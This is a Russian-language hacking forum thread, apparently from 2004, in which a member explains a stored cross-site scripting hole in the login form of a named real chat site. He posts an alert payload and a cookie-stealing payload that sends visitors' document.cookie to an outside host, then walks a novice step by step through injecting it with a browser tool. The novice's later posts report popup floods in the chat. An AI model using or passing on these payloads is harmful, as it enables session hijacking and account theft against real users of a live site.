Чаты Научите пожалуйста

Discussion in 'Веб-уязвимости' started by Хакер, 20 Jul 2004.

  1. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    на http://chat.bratsk.ru есть форма входа

    там есть поле
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><input name=face type=hidden value="1">[/QUOTE]<span id='postcolor'>
    оно типа ваше лицо обозначает
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src="/images/1.gif" ...>[/QUOTE]<span id='postcolor'>

    если запихнуть в это поле
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">" onError="alert(/ Чат поимели /)" z="[/QUOTE]<span id='postcolor'>

    то после отсылке первогоже сообщения от вас, все будут любоваться мессагой

    аналогично будем поступать со снифером
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">1.gif" onLoad="x=new Image();x.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;" z="[/QUOTE]<span id='postcolor'>

    после входа и отправке сообщения
    весь лог заполняется идентификаторами сессий
     
  2. Guest

    Guest Guest

    Reputations:
    0
    так....а ща в чате такое было вылазит сообщени &quot;нажми ок и попадёшь в ад&quot; и я кликнул.........и у меня сотни окон открываются
     
  3. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    2 spirit
    ну пошутил я немного..... [​IMG]
     
  4. Guest

    Guest Guest

    Reputations:
    0
    ну я тебе скажу ЭТО БЫЛО ОФИГЕННО ЭФФЕКТНО а ещё вопрос...ты заходишь в ччат с винта так.....а я по инструкции делал и у меня не канает......обьясни как сделать........иль мож готовый скинешь а то я уже запарился.....please
     
  5. Guest

    Guest Guest

    Reputations:
    0
  6. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    нет, я не с винта! я динамический меняю html-структуру страниц

    на емайл я писать не люблю и не буду, будем в форум постить


    в динамический html код менять можно с помощью
    http://forum.antichat.ru/cgi-bin....;t=2400

    я в часности использовал Hidden2Text
     
  7. Guest

    Guest Guest

    Reputations:
    0
    ну я так понял заходишь на чат......там где имя и go правый клик просмотр html кода и чё там меняешь и сохраняешь и всё ????
     
  8. Guest

    Guest Guest

    Reputations:
    0
    а я скриптами не умею пользоваться ........научи
     
  9. Guest

    Guest Guest

    Reputations:
    0
    подожди м чё как ими пользоваться ????
     
  10. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ августа 11 2004,21:46)</td></tr><tr><td id="QUOTE">а я скриптами не умею пользоваться ........научи[/QUOTE]<span id='postcolor'>
    парень, купи пару книг (html, javascrip)
    накачай мануалов (w3.org)
    потом разных статей почитай на правильных сайтах

    а научить когото одним постом невозможно
     
  11. Guest

    Guest Guest

    Reputations:
    0
    а я скачал там эти твои..........динамичемкие........а ими как пользоваться ????
     
  12. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ августа 11 2004,21:54)</td></tr><tr><td id="QUOTE">подожди м чё как ими пользоваться ????[/QUOTE]<span id='postcolor'>
    нет смысла тебе объяснять
    будет лучше если ты сам (хоть и не сразу, хоть через месц или 2) постигнешь эти знания
     
  13. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ августа 11 2004,21:59)</td></tr><tr><td id="QUOTE">а я скачал там эти твои..........динамичемкие........а ими как пользоваться ????[/QUOTE]<span id='postcolor'>
    инсталишь, потом запускаешь IE, заходишь на сайт чата, открываешь контекстное меню, юзаешь Hidden2Text, в поле отвечающее за face, ставишь мой пример или свой, входишь и посылаешь 1 сообщение
     
  14. Guest

    Guest Guest

    Reputations:
    0
    да меня уже это всё раздражает........я уже забил........ща опять начал......ну хоть обьясни как ты с чатом делал......и как ты пользовался этими доками.......а там я уже сам буду разбираться и доганять......
     
  15. Guest

    Guest Guest

    Reputations:
    0
    значит твой архив я распаковал......запустил инстал........потом захожу в чат.....а с Hidden2Text че делать запустить иль что ?????? а я хоть сам то увижу сообщение.......чтоб удосовериться
     
  16. Guest

    Guest Guest

    Reputations:
    0
    значит я делаю так захожу на чат.....там где рожи кликаю правой кнопкой потом кликаю Hidden2Text ........потом просмотр хтмл кода ....&lt;img src=&quot;/images/1.gif&quot; ...&gt;
    удаляю нахрен и вставляю &quot; onError=&quot;alert(/ Чат поимели /)&quot; z=&quot;............мож я чё неправильно делаю обьясни в каком порядке
     
  17. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    когда появляется скрытое поле, вместо 1 в поле face пставляешь тот пример, заходишь, посылаешь сообщение
     
  18. Guest

    Guest Guest

    Reputations:
    0
    но у меня нигде не появляется скрытое поле а где должно ????
     
  19. Guest

    Guest Guest

    Reputations:
    0
    ооооооооооо.......мой дорогой у меня чё то получается.....
    а пример писать в кавычках ????
     
  20. Guest

    Guest Guest

    Reputations:
    0
    всё я всё нашёл последний вопрос как написать пример в кавычках или без ивообще напиши мне его как ты вставляешь вместо 1 а вообще большое тебе СПАСИБО........но пока я с примером догнать не могу......напиши плиз.......а я сам мессагу увижу??????? [​IMG]